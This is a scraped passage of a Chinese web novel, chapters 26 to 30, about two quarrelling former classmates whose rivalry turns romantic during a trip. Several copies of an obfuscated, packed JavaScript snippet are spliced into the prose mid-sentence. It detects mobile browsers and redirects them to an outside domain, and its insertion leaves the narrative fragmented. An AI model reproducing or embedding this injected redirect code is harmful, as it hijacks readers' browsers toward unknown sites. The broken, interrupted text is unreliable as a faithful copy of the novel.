乔迦茵稍微偏了偏头,“因为廖明成绩不好?是差生?宋玉津就没问题,可以付诸信任?” 她声音落得轻,话尾上扬,像是真心疑惑的问句,但句句紧密接连,凭空有股咄咄逼人的气势。 闫倩无端有种被挑衅的错觉,尽可能语气轻柔道:“你和宋玉津都是很靠谱的孩子,老师相信你们不会因为一时的,青春期的躁动而耽误自己的前程……” “如果我是这样靠得住的孩子——”乔迦茵抢过了话头,平静地问,“如果我是这样靠得住的孩子,不会轻易耽误前途,那我即使和廖明在一起,又有什么值得担心的?” “所以你和廖明……”闫倩有些惊讶道。 “为什么不回答我的问题呢?”乔迦茵说,“是区别对待吗?” 闫倩觉得荒唐:“你是说我偏袒宋玉津。” “不是。”乔迦茵说,“区别对待廖明和我。您八点就准备走了,但晚自习廖明也在,您早就可以找他来。为什么只找到我,要受教育的只有我?” 闫倩清清嗓子,常用那几句树立威严的话脱口而出:“老师理解你现在心里可能不太舒服……” “是有点火大。”乔迦茵语气淡淡的,反而向后退了一步,垂了下脑袋打断了她的话,“是因为觉得我是好学生,会受用于您的劝导和告诫,自觉地和男同学保持距离;还是觉得我是女生,更容易受到情感上的影响,所以必须动之以情晓之以理地让我放弃早恋;又或者是先入为主,向您传播流言的那个人讲的故事里面,是我主动挑拨、勾引了男同学,主导着这个关系,而男生是懵懂无知、被诱骗上当的那一方。”说话期间,她隐约听到办公室前门打开,似乎有人进来。但她专心于眼前这场嘴仗,分不了心。 闫倩脸色越来越难看,最后难掩怒火地高声喊了一句:“——够了!” 乔迦茵静静回视着她。 “你是不是觉得自己很聪明,乔迦茵?女孩子这么自以为是,迟早会吃苦头的。”闫倩道,“我还是那句话,不管是我,还是年级主任、其他老师们,都不会看着你和廖明这样坐视不管,你要么干干净净地给我断掉,要么就自己藏藏好,别让人传出风言风语!” 乔迦茵还是心平气和的模样,只是笑容里难掩轻蔑:“这你放心。” 看闫倩气得脸上一贯的和善面具都快碎成千片万片了,乔迦茵说完这话,就心领神会地转身离开,刚绕过隔板随意往办公室另一个方向瞥了一眼,顿时怔住了。 宋玉津抱着一沓作业本满脸震撼地看着她。 * “早就觉得你和闫倩迟早干架,没想到来得这么快。”男生抱着作业本跟在乔迦茵身后,“来拿个地理作业刚好撞见。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14841436|157423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你是不是故意听墙角?”乔迦茵说,“地理老师早就走了。” 宋玉津无辜:“谁会猜到办公室能有这么精彩的节目?是老师让我下午来拿作业,我给忘了。” 女生哦一声没说话。 宋玉津憋了一会儿气,忍不住还是问:“你说的那些真的假的?” 一时没反应过来:“什么?” “你和廖明。”宋玉津语气有点古怪,“完全没跟我说啊!” 用的词是“完全没跟我说”而不是“我完全不知道”。 乔迦茵本能地要否认,话到嘴边,不知怎么转过一个念头,为什么非要向他否认? 她知道自己本来就对廖明有点兴趣,每回撞见都免不了有意去搭几句话,这么长时间,宋玉津是不是多多少少感觉得出来? 他会是什么反应? 于是她突然笑了一下,笑意很模糊幽微,嘴上轻飘飘地把问题推了回去:“你觉得呢?” 其实直觉怀疑她在骗自己,但宋玉津表情还是空白了一瞬:“啊?” 乔迦茵大约觉得这个反应没什么意思,本就心情不好,兴致索然地说起了别的:“好烦啊,不想做英语阅读了。” “今天不做阅读,作业是小猫钓鱼。” “那个也很烦,不想做。” * 宋玉津今天值日,晚自习后留下来打扫卫生排桌椅,回寝室晚了一些。 男生寝室向来吵吵嚷嚷的,今夜尤甚。 明雅寝室是上床下桌,六人寝。市重点中学女多男少,男寝都住不满,他们这间一共才四个人。 他一推门进去,本该熄灯的寝室里亮着台灯,黎远坐在桌前一手撑着头,闻声向门口望过来。 黎远一贯没什么表情的脸上竟然流露出仿佛得救的意味。 “帮个忙。”黎远招手道,“帮我写个东西,我对这些实在不擅长。” “要写什么?”宋玉津拉开自己椅子坐下。 寝室里另外两位开始大呼小叫,像舞台效果似的,一声声口哨。 “他要写情书!情书!” “写给女生的!” “还不肯说是谁!” 宋玉津轻微地皱了下眉头,在昏暗的夜色中看不分明。黎远已经起身到他身边来,叹了口气。 “别听他们说的那么夸张。”他说,难得有些局促的语气,“就是外联部那个书信活动,我……想写封信,但又措辞不好。” 宋玉津抬头问:“写给谁?” 他这问题一出,那两个气氛组又开始一唱一和了。 “给他心里的那位——” “也不知道我们黎远看上了哪位。” “绝对是咱们班的。黎远又不social。” “平时也没见你和几个女生说话啊——难不成是乔迦茵?” “我靠!黎远,你有受虐癖啊?” 黎远烦躁地转过身去要喝止,宋玉津反倒先一个眼风扫了过去。 “是不是有病?别吵。” 他在班里从来没这么冷厉地说过话,那两个人竟然一时被吓住,交换了个眼色后声音弱下去。 静默中,宋玉津微垂了眼睛,低声问黎远。 “真是乔迦茵?” 27. 第 27 章 一盘掼蛋打了快三个钟头。盛霏不擅长算牌,邵允承是个生手,一开始乔迦茵和宋玉津联手,基本压着他们俩打上去。 结果那两个人厘清头绪之后进步显著,乔迦茵和宋玉津二人则默契全无不时内讧,竟然被追回几分。 后几局更是一点一点来回撕咬。 最后是乔迦茵和宋玉津艰难获胜。 ——说实话打到这个时候,谁嬴谁输已经无关紧要了。长时间用脑过度,又是深夜,每个人都精神涣散,连闲聊的力气也没有。 连最多话的盛霏都因为需要用所有心神去计算,而没了说话的兴致。 邵允承不太敢多嘴。 乔迦茵和宋玉津则是打出了点矛盾,两人一言不发,眼神对视都很少有。 所以最后他们二人双上获胜的时候,最如释重负的反而是盛霏。 她往旁边的乔迦茵身上一靠,发自内心地感慨:“终于结束了,之后一年不想再打牌。” 乔迦茵嗯了一声表示认同,随手去拿水,发觉已经喝完。 “冰箱里有饮料。”宋玉津注意到她动作,说。 乔迦茵还是不太想理他:“不用了。” 宋玉津还是起身往冰箱走。 乔迦茵烦躁地重复了一遍:“都说了不用了。” 宋玉津开了冰箱门,取出一罐可乐:“给我自己拿的。” “……”乔迦茵深呼吸。 下游的邵允承在乖乖洗牌,不太懂刚共同取得胜利的两人怎么突然之间又剑拔弩张起来。 乔迦茵轻轻推了推靠在自己肩上的盛霏两下,对方迷迷糊糊的,她就把人放回沙发上,站起身径自往外走,反手关了房门。 邵允承傻眼:“啊?”怎么这就走了? 宋玉津向他摇了摇头,示意不要多问,拎着那罐可乐跟着出去了。 酒店长廊。 乔迦茵抱着双臂靠墙,略抬起下巴,问他:“之前那把你手里有大牌,为什么不出?对Q。” “怕你跑不掉。” “我手里有三个A,我怎么可能跑不掉?那时候场上都没有同花顺了,不知道你畏手畏脚什么。” “我怎么知道你有三个A?我以为邵允承手上六个。” “你有事吗?他手上有这种炸早就用出来了。” “他有新手光环啊,今天一直在摸炸,谁猜得到啊?” “有新手光环也是正常人打牌思路,要是有炸老早就出了,能轮到你拿牌权?” “他如果想留一手保盛霏呢?你没想过这种可能?” “放屁,他要是手上两把炸,何必牺牲自己保别人?” ——酒店的隔音并没有他们俩想象得好。 邵允承站在房门前,越听越露出匪夷所思的神情。 ……这两个人专门出去为了刚才的牌局吵架? 刚才赢的人不是你们吗? 没想到争执愈演愈烈,将此前的好几局都提起来吵,有些细节邵允承早就忘光了,乔迦茵和宋玉津这两个人居然都有条有理地记得一清二楚。 “……所以说。”乔迦茵停顿了一下,突兀地冷笑了一声,“我们两个连牌都打不到一起,你还整天自以为很了解我,你哪来的自信啊,宋玉津?” 宋玉津也静了一会儿。 他没被激怒,稍偏着头看了看她,说:“是因为这个?” 不是在斤斤计较普通牌局的输赢,更不是因为打牌时毫无默契而烦躁,她自从下雨在贩卖机前的对话过后,这几天一直都憋着一股气要冲他发作。 放在以前乔迦茵不是那么能忍的人,郁结在心的怒火忍不了多久就会宣泄出来。 比如说课本剧在月考后恢复排练的那天,宋玉津从她口中得知了前些天她态度反常的原因。 身为负责人,乔迦茵比约定时间要早一刻钟到了排练现场,除了宋玉津本身就在艺术楼开完会,来礼堂很近,其他人都不在。 礼堂先前用来置办讲座。两人一起将舞台上的演讲桌推到旁侧的幕布后面,期间宋玉津抬眼看了她无数次,乔迦茵始终没吭声,等到演讲桌被完全移放到墙角,女生突然反手撑了一下台面,直接坐在了演讲桌上,居高临下地问他:“你到底要说什么?” “嗯?” 还装傻,“今天明明一副欲言又止的样子。” 宋玉津一时语塞,没办法地叹了口气,笑一下道:“看你早自习收了封信,也不和我说。” 乔迦茵抬了下眉毛:“噢,你说那个。” 外联部今早放在她桌上的。 宋玉津坐在她身后,亲眼看着她当场拆封,读完后放回信封,收进了桌肚里面。课间她直接去找温见竹玩,没给他打探的机会。 也不知道读的时候是什么表情。 乔迦茵大约也是回忆了一下,弯一下唇露出一点笑来:“你怎么也这么八卦。” 这么说就是默认了信里内容有点什么,宋玉津单手撑着桌,微侧着头问她:“男生写的?不能透露下啊?” 乔迦茵掀起眼皮和他对视,目光亮得明晃晃。 “干嘛告诉你。” 嘴唇刻意抿了起来,但宋玉津确信自己望见她眼底笑意一闪而过。 看来收到信还是高兴的。 他忽然想到前天晚上黎远说“其实没有多的意思,看她近期比较消沉,能让她振作些就最好了”,表情一时有些莫测。 他加了只手在女生另一侧撑着桌子,又仰头问:“是谁写的也不能说?” 乔迦茵语气茫然:“问我这个……没写落款啊。” 宋玉津嘴上说“什么人啊不留名字”,暗地里松了一口气。 那天按照黎远的意思写完后,他把记事本上那一页撕下,干脆利落地递给室友:“你誊一下,不然她认得我字迹。” “这不废话吗。”黎远接过后道了声谢,没忍住吐槽,“我怎么可能直接把你的草稿纸寄过去。” “……这不是草稿纸!”火大。 “说到这个。”乔迦茵很快提起另一个话题,“你最近老是一副很郁闷的样子是搞什么?” “有吗?”当事人自己不觉得。 “现在就。” “……”稍微呆滞了一秒。 这个反应把乔迦茵逗乐了,受不了地低头笑了一下,语气正经说:“前阵子不是故意冷落你,是有些人传的小话很难听,不过现在想开了。” “什么小话?” “说我钓着你。”说到最后又笑了,“请问宋玉津先生,你觉得你是我的鱼吗?” 幕布后面没开灯,只有礼堂敞开的后门漏出的光,半明半昧。 被采访的宋玉津也笑了笑:“那你得是姜太公才行。” 乔迦茵噢一声。 男生以为对话结束,想时间也差不多,其他同学快到了,松开手退出一些,好让她下来。 他刚转过身,她在他身后轻声说:“我不是吗?” 他回过头,这时她背后的暗红色幕布突 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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到达大堂,乔迦茵大步出了电梯,前往马路对面的24小时便利店。 她喝啤酒不怎么挑牌子,拉开冰柜就随便取了两罐长得好看的出来,宋玉津不知何时追到她身边,极近的位置,一把拉住她手腕。 “你不能喝这个。” 乔迦茵侧眸剜他一眼。 宋玉津慢慢松了手,说:“你看下面小字。” 噢,荔枝味,她过敏。 乔迦茵似乎思考了一会儿,动作顿住没动。 宋玉津一开始没理解,随后表情慢慢变了。 “……乔迦茵,你和我发脾气也就算了,别拿自己身体开玩笑。”他有点急促道。 “说得真难听。”乔迦茵两罐啤酒还拿在手里,空的那只手直接关上了冰柜,“荨麻疹而已。” 宋玉津真要被她气疯了:“什么而已?而什么已啊!你别发神经,放回去——你听见没??” 她充耳不闻,脚步轻快地沿着便利店动线穿过几排货架,经过昏昏欲睡的营业员,在自助结账机器前扫码付款,拎着荔枝味啤酒到了马路边的公交车站。大屏广告牌尚在亮着灯,座椅无人,泛着金属的冷光。她直接过去坐下。 宋玉津阴云密布地来到她身侧,站定。 她伸手递过去一罐啤酒,对方完全不接,唇抿成平直的线,下颌紧绷。 不要算了,乔迦茵把那一罐好意收回,搁在一旁,右手轻松弹开另一罐的拉环,易拉罐中的液体前赴后继地冒起气泡,她仰头猛灌了一口。 还没好好咽下去,手上这罐啤酒被人劈手夺过,飞溅出几滴,玻璃珠一般落在路面上。 28. 第 28 章 宋玉津已经很多年没有体会过这种久违的、被乔迦茵逼急了的感觉。 比起愤怒,更多的还是头痛。 最可恨的是,他清楚乔迦茵全都是故意的,她自己心情不好,非要拉人下水,激怒他之后拿他出气。 他握着那罐啤酒盯着她脸和脖子半天,乔迦茵愣了一下,猜出他在看什么。 她无语道:“就那一口,能有多严重。” 荔枝浓度也不会很高,最多皮肤发点红。她的过敏症状不太严重,都仅限于皮肤,没到神经休克的程度。 于是她伸手:“赶紧还我。” 宋玉津不想和她吵架,但还给她也是不可能,那只手背到身后,眉目冷淡地问她:“邵允承怎么不管你。” 乔迦茵说:“我和他感情不深呗。” “搞不清楚你的过敏原,在海边的时候他也没看着你,你这两天情绪低落,也没见他来安慰。”他说着似乎有点费解,“有这么做男朋友的?” “我是重症病人还是没有行为能力,非要人照顾才行?”乔迦茵白他一眼,“你少自以为是了,哪只眼睛又看到我情绪低落?” 懒得和她钻牛角尖,宋玉津答非所问地说:“你不喜欢他,他也不见得有多喜欢你——为什么要在一起?” 乔迦茵脸色沉下来。 “跟你说了几遍了,别管我的事,和你很熟吗?”她霍然起身,直直看进他眼底,“我一直不说,是因为我对你的事情不感兴趣,不是我看不出来——问之前也不想想自己,你对盛霏感情有多深,有多喜欢?少在我这里装模作样,你当我看不出来吗?” “盛霏和我是——”假的,生生刹住了车没说出口,宋玉津说,“和你情况不一样。” “是什么?”乔迦茵没放过他一瞬间的卡壳。 宋玉津眉头压紧。 早先答应了盛霏不能透露这个秘密让她折损颜面。 此外,要是真说了,毋庸置疑会引发乔迦茵得知被自己戏弄的滔天怒火。 他略低下头,问她:“你看出什么了?” 乔迦茵挺直了脊背,稍仰着头,气势却比他还强。 她稍微抿了一下唇,犹豫了半秒钟,脸色很冷。 “你非要问吗?” 有什么不能问,宋玉津觉得乔迦茵在诈他,她应该没猜到。 最坏结果,不过是被乔迦茵识破他和盛霏是假情侣。他笑了一下,不甚在意道:“你说说看。” 乔迦茵逼近一寸,离他很近,眼睛眨也不眨,不着痕迹地咬了咬牙,压低声音道。 “——你真以为我感觉不到,你一直在看我?宋玉津,你装什么正人君子啊。” 她近在咫尺,像一个幽灵。其实那少许的酒精并非没有起效,广告牌的白亮灯光下,能看清她脸颊正泛着红,嘴唇更是艳红如血。宋玉津有一瞬的愣神。 “我……” 乔迦茵不关心他要说什么反驳的话,在靠近的同时扬手过去,轻轻巧巧地拿回了那罐荔枝啤酒,随即回身撤退一步。 宋玉津没拉住她,她动作太快了,直接抬起易拉罐就又连喝几口下去,眼睛微微眯起,鸦羽般的睫毛难得温软地垂下,快要喘不过气时才放下手,挑衅地侧眸瞥了他一眼,手上的金属光,眼中沾了酒意的流光一同宛转向他。 这下空了半罐。 “怎么生气了?”她望见他神情,短促地笑了一下,呼出的气灼热,望着轻了一半的易拉罐语气懒散道,“这一罐355毫升……荔枝果浆浓度?没找到,说不定都是香精。” 她说了几句又要再喝,易拉罐被一只手掌按下。 宋玉津看着她:“别喝了。” 对方不出意料地不理会:“手拿开。” “不拿开。”他说。 乔迦茵抬起脸看了他一眼。 茫然和仿似错觉的脆弱就只那一瞬间,在她开口的时分消失殆尽:“跟你说了这点浓度对我没有多少影响,你想喝自己去买,抢我的做什么。” “……”宋玉津下意识皱了眉。 下一秒,在他自己都没有想明白的情况下,他取走了她那罐啤酒,随后低下头吻了她。 街上有车飞驰而过,倏忽亮起又消逝的灯光像一只巨大的眼睛眨了一下。 宋玉津意识过来发生什么之后,表情一时卡顿,露出了自己都无法理解的眼神。 乔迦茵反应比他还大,眼瞳里满是震惊,险些要爆一句脏话:“我……你有病啊宋玉津?我真的……”她喘了两口气,怒极反笑起来,“我就说吧!你现在是彻底不装了?……看来你也不过如此,和他们没有什么不同。” 他还在晃神中,停了一下才问:“他们是谁?” “我的前男友们,其他男的,所有渣男。”乔迦茵快速道,“还和我谈什么喜欢不喜欢,你和我半斤八两!你现在可别跟我说什么喜欢的其实是我之类的鬼话,你这根本不是……” 宋玉津望着她,眼神逐渐清明,忽然提着嘴角,散漫地笑了一下,那点浮于表面的笑意很轻地散落在晚风里。 “可能不是吧。”他说,“那这算什么?你自己也没懂吧。” 乔迦茵冷冷地瞪视着他。 她问:“我不懂吗?” 宋玉津眼睫快速地颤了颤。 ——你觉得你是我的鱼吗? ——那你得是姜太公才行。 ——我不是吗? 给出“根本不是喜欢”判断的前提是,先得确定,怎样才算喜欢? 她忽然焦躁地拽住了他的衣领。 “有一点你说得没错。”她说。 ——致高二四班乔迦茵。 “我确实非常讨厌你。” ——在写下你的名字时,我们刚刚在教室挥别不久。神奇的是,每当“明天见”被你说出口,这三个字蓦然成了一句短促的咒语,令虚无缥缈的来日忽然有了值得期待之处。 “讨厌到一个眼神都不想多给你, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他,他好像也没说什么。被问住的男生立刻摇头装傻。 有人过来打圆场,还有女生在唱着歌。乔迦茵沉默片刻,坐了回去。在那之后,在角落里静静垂眸想了一会儿,就把那个离开后一条消息也没发过的人从列表里删了。 时隔多年的夜晚,陌生城市的马路边,过了零点,不会有车来的公交车站。 宋玉津问她:“当时为什么删我?” 相似的怒火和恨意像倦鸟归巢一般卷土重来。 “因为讨厌你。”她说,手上猛然加力。 宋玉津猝不及防,被她扯低下头,手一松,啤酒罐当一声落地滚远。 所剩无几的酒液沿着人行道的缝隙淌入柏油马路,洇开深色的水痕。 像果实在牙齿尖下爆开,荔枝香气倏然弥漫开来。 乔迦茵恶狠狠地咬住了他的嘴唇。 29. 第 29 章 过敏反应并不像乔迦茵嘴上说的那样微乎其微。 无法确定是酒精还是具体含量未知的荔枝原浆的作用,她从脖子到肩膀、后背、胳膊的皮肤,全都漾开一片暖热的红,她自己或许早就习惯了,像没感觉一样,被碰到时却又不受控地瑟缩。 被她这么咬上来,宋玉津才知道自己刚才那一下有多浅尝辄止。他基本上是懵住了,大脑像被抽成真空,凭着本能在反客为主地汲取着她的唇舌,手自然而然地扶住她的脸颊。乔迦茵有点重心不稳,身体隐约有歪倒的趋势,他就按着她的肩坐回铁皮座椅,短暂地换气后,又再度贴近。 乔迦茵的脸被夜风吹得发凉,他的掌心温度灼热地烫过来,有种要散发蒸汽的错觉,一阵阵的发晕。 好像纠缠了许久,其实又没有多久,她后仰着挣开他,靠在旁边伫立的栏杆上,花了一点时间才眼神清明过来,看宋玉津。他目光仍有一点涣散的模样,唇上染上她的口红,愈显双唇不正常的饱满红艳,像得了病。 那两罐啤酒他一点没沾,此刻唇齿间竟全是夹杂果香的潮湿酒气。 这个时候他才发现她有一点发抖,望向他的眼神其实有些惊惶无措的意味。酒精催化下,眼皮上那一道红痕更明显了,没法不在意。他有些失神地盯着那里看,思绪仿佛放空,像小时候看过于深沉的书,一个字一个字读进去却并未理解——他盯着看了一会儿才反应过来,其实自己在想的是,如果可以亲吻那一道红痕。 他被自己的想法吓了一跳,于是仅读到这半句就戛然而止。 事到如今,亲都亲了,这世上也没有时光机,宋玉津叹口气,反而沉着下来。 见乔迦茵没有打算说话的意思,于是他鬼使神差地问了她一句:“你冷不冷?” 乔迦茵的表情,似乎是足足过了三秒才听懂。 “……不冷。”她说。 她发完话又有点茫然地思考了一下,站起身自我推翻道,“冷。我们回去吧。” “好。”宋玉津应答道,跟着她起身,脚步倒往截然不同的方向走去。 乔迦茵迷惑地回过头,看他把路边那个啤酒罐捡了起来,又穿过马路扔到对面的垃圾箱,再穿行回来,双手插兜,黑色长风衣被风掀起一小片,走起来很有派头,完全不像是单纯去扔垃圾的。 这么有公德心的行为,令乔迦茵想起他们遗留的那另一罐啤酒,还搁置在站台座椅上。 她慢腾腾地折返回去,要将那罐啤酒拿起之前,宋玉津快速小跑过来把它拎走了。 乔迦茵抬头,没什么表情地看他。每当她这么看人,就是在瞪人。 宋玉津不怕她:“你别喝了。” “我买的。” “我喝,我给你转,多少钱?” “……”她早就忘了,只好打开手机看支付记录,“13块8。” 他说:“你通过一下好友申请。” 乔迦茵:“……”她都把这事忘了。 不想通过,但又实在说不出让他在“随时随地原地逃离”群聊里公然转账,虽然一笔十四块不到的转账说明不了什么。 她说:“我请你算了。” “要给的要给的。”宋玉津很坚持。 乔迦茵觉得他俩现在面对面微信转账的情景实在太过荒唐,她有点受不了了,失去了和宋玉津争辩的力气,低头默默把好友申请通过了。 随后就收到转账,十三块八分毫不差。 她把手机揣进口袋,望着他自如地拿走那罐啤酒,还是有种错愕的感觉。 他们往回走了一段,并肩同行,但乔迦茵双手揣在外套里,宋玉津一手握着啤酒,另一手也是揣口袋,两人之间离得很远。 乔迦茵忍不住问:“……你真要喝啊?” “嗯,对啊。”宋玉津理所当然地说。 在她半信半疑的审视下,宋玉津索性单手顶开拉环,“啵”的一声响,碳酸泡沫涌动。 才开过一罐,并不陌生,喝都喝了。但其中逸出的果味气息和液体流窜的声音猛地让乔迦茵回忆起方才发生的事,忽然间面红耳赤起来。 夜色深重,她只觉得皮肤发热,不确定自己有多明显,就低了头不再看他,似乎专心致志于行走。 因而也没看到宋玉津的动作蓦然停住,耳尖一瞬间通红。 从车站到酒店的路,来时还没有觉得有这么长,长得令人焦躁。从旋转门进到大堂,前台听闻动静望了过来,被乔迦茵挑衅一样直接看了回去,有什么好看?前台茫然地和她对视,缓慢收回目光。 进了电梯,门从两边合上关紧,封闭空间里,另一个人的存在感大到忽视不了。 她拿出手机玩,但这个点也没有消息,几个APP来回浏览,看不进去,只是装作在刷。四面偏偏是玻璃,稍微一抬头就能看见宋玉津的脸,只能一直狂刷手机。 宋玉津觉得口干舌燥,下意识要喝点什么,抬起手喝了一口啤酒就被刚刚才体会过的荔枝味冲击到,直接呛到咳嗽起来。 这下乔迦茵把屏幕刷出火花都没用,听觉没关掉,身后的咳嗽声挡不住。 她抬头,和面前镜子里的宋玉津四目相对,看他咳得脸上泛起潮红,还是没好气地取笑了一句:“菜成这样还抢我的酒喝。” “咳咳……咳!我不是……咳……”宋玉津发现好像也没法解释,还是咳嗽吧。 叮一声,电梯到达,门向两边打开,乔迦茵率先踏出去,却没有立刻沿着长廊前往房间。 宋玉津出了电梯总算是缓过气来,厚重的金属门在他身后再度合上,他低垂下脑袋,问面前停步的女人:“怎么了吗?” 乔迦茵稍作停顿,微蹙着眉,说:“今天的事,忘了吧。” 说那个吻。或者那两个。 宋玉津无话可说,点点头。 想了一下,怕乔迦茵觉得他态度不够诚恳,又补充回答:“我会忘的。” 乔迦茵又感到无语了。说起来本来只是找他吵架泄愤的,现在气倒是莫名消了,徒留一种轻微忧郁的混乱感受。 宋玉津没和人接吻过,她一亲上去就发现了,尽管如此,后面学习领会得倒是很快。说明和盛霏没有,再之前也完全没有。 无意中反而印证了此前盛霏怀疑的白纸言论。 ……都什么事。她轻手轻脚地进了房间,一头埋进被窝里,努力停止思考。 * 宋玉津不常失眠,但这晚直到后半夜才睡着。 对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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没想到宋玉津此人也会有尴尬的时候。越想越搞笑。 盛霏取笑了几句宋玉津晚起,后者不反驳,态度躺平任嘲,乔迦茵也跟着大家笑了几下,期间抬眼又对视了一次,目光快速一闪,偏过头去欣赏窗外风景。 邵允承还记着刚才聊的话题,问盛霏:“然后呢?” “什么然后?”盛霏自己忘了。 “你家里人发现你在用电脑。” “噢,噢。”她想起来了,“然后?然后我爸把我暴打了一顿。” 席上短暂安静了一会儿,盛霏说:“你们怎么都这个表情?我说暴打可能有点夸张,就是普通家长教训小孩子那样。” 还是宋玉津开口打破了沉默。 “盛霏。”他轻声说,“普通情况也不能……不管怎么样,家长不该打孩子的。” 盛霏说:“是这样吗?” 乔迦茵说:“嗯。” 她拍了两下盛霏的手背,但还是没抬头看宋玉津。 宋玉津会不会因为昨晚的事现在愧疚心爆表啊,他那种正义使者。她心情复杂地想。 30. 第 30 章 说宋玉津是正义使者,并不是毫无根据。 明雅学生会没有体育部,因此文艺部名义上是“文艺”,实际上承担的是校内所有文体活动。像集体舞、课本剧这种,计分时按照常规方法,去掉一个最高分,去掉一个最低分,去平均值,皆大欢喜。但体育项目,尤其篮球这种需要裁判判分的多人现场赛事,文艺部就不得不担起仲裁一职。 所以运动会那两天,宋玉津都得时时刻刻坐在司令台角落,处理时不时出现的判分投诉,还得及时出手劝架,以免高中生们血气方刚地当场互殴起来。 裁判也都是体育老师或者学生志愿者,往往不认为自己有错,被质疑几句难免火大,宋玉津这个角色夹在其中吃力不讨好。 话虽如此,每当乔迦茵经过司令台前随意一瞥,没见过他面上流露出过半点困扰神情,他其实很擅长调解关系。在这一方面,乔迦茵承认他要比自己厉害。 运动会第一天晚上,就有两个高一班级因对篮球赛判分不满在年级群悍然对骂起来,□□空间也刷满了污言秽语。 次日中午,学生会账号发布了一则息事宁人的声明,附上一份极其详尽的体育活动计分仲裁处理办法。 乔迦茵打开后都没有耐心读完,点了点屏幕问宋玉津:“你写的?” “还能有谁?”宋玉津面对她的时候语气难掩郁闷,“我凌晨两点才睡。上午大课间紧急开会,还被学生会其他人盯着修改。” “怎么不让体育教研组来处理啊?” 他撑着下巴稍微笑了下:“那就不是一个性质了,这种事老师说了不算。” 老师是局外人,有模有样地各打五十大板,在这种学生争端上作用基本为零。 “但其实他们也还没消气。”早操进场的时候经过高一年级,能听到那边还在骂骂咧咧。 提到这个就无奈,宋玉津说:“没办法了,等下去调解,已经往后推迟了半决赛,讨论不出结果,可能会让他们再比一场。” 乔迦茵理解并表达敬佩:“新老娘舅应该请你。”一档本地纠纷调解电视节目。 宋玉津表情很破碎:“你转回去,暂时不想和你说话。” 所谓的“暂时”,一般来说也就三分钟。 乔迦茵根本没当回事,轻蔑地笑一下就回去写作业。没过多久又转头问:“上节生物课笔记给我抄一下。” 那节生物课刚好是课本剧表演前最后一堂课,她提前去礼堂确认道具了。 宋玉津磨了磨后槽牙,才说:“你忘记了?我和你一起翘的课。” “……”忙忘了,说是一起,但宋玉津在中控台安排全年级节目的统筹,又没有真正意义上待在一起。不记得也不能怪她吧。 “用我的吧。”斜侧递过来一本生物课本。 前后座的两人一同抬起眼,神色则各异。 “哦对,你在那节生物课上。”乔迦茵没多想就接过,“谢谢啊马上还你!” 黎远道:“客气,等会放我桌上就行。” 他视线平静地掠过宋玉津,和自己的这位室友点头打过招呼,往教室外走去了。 宋玉津目送他离开,脸上仍留有笑意,但神情几分微妙。 正好听见乔迦茵一边往后靠过来,一边嘀咕一样地跟他来了一句:“哎其实黎远的字还挺……”话到一半,对着课本上的笔迹似乎是想到什么,猛然间卡了壳。 宋玉津瞥她,语气仿若未觉:“还挺什么?” “……挺好看的,在男生里面。”乔迦茵愣了一会儿,才慢慢把话说完。 她没转过头,大约是陷入了思考,目光向前始终落在那一页课本上。 宋玉津盯着她的睫毛看了一会儿,说:“我写字比他好看。” “你那个写法好看是好看,太潦草了。”乔迦茵说,“抄笔记一点也不实用,看不懂。” 宋玉津:“怪不得你从来不抄我的笔记!其实是你不懂欣赏!我那个是龙飞凤舞。” 乔迦茵举起生物课本,想起这是别人的立即放下,换成自己的草稿本卷起来敲他脑壳:“你做生物笔记了吗你,还说说说!你在光合作用大题下面写个快雪时晴帖试试看!” * “J——你为什么站那么远啊?”古城墙上,盛霏双手围拢作喇叭状,大声问远处的乔迦茵。 被喊到的人回过身答她:“我不是站得远,是走得比你快。” “你——说什么——?”高处风大,盛霏一个字都没听见。 乔迦茵没办法,只好扬起声音:“是你太慢!!” 盛霏转过头就对另外两名青年道:“她说我们走得慢。” 邵允承震惊地转向宋玉津:“明明……”明明只说的盛霏一个人! 盛霏不太能走,这几天旅程里大家都是迁就她,走得比较慢。本来一向如此,但今天乔迦茵不知怎么回事,一到景点就自己匆匆往前走,像在逃避什么一样。这么一来,就脱离了四人的大部队,一个人远远领头在前。 邵允承是徒步达人,人生第一次被冠上走得慢的名头,自觉很冤,又不敢和盛霏呛声,在等宋玉津仗义执言。 宋玉津却反常地没理会这茬,他今天一直处于半神游的状态,邵允承认为他没睡好。 盛霏还是很有兴致,即使隔得很远仍然坚持和乔迦茵对话:“我们拍张合照吧——!” 乔迦茵低下头,眼神不期然和宋玉津撞上。他什么时候看过来的?她转开眼,回复盛霏:“那我站这里不动,你上来。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 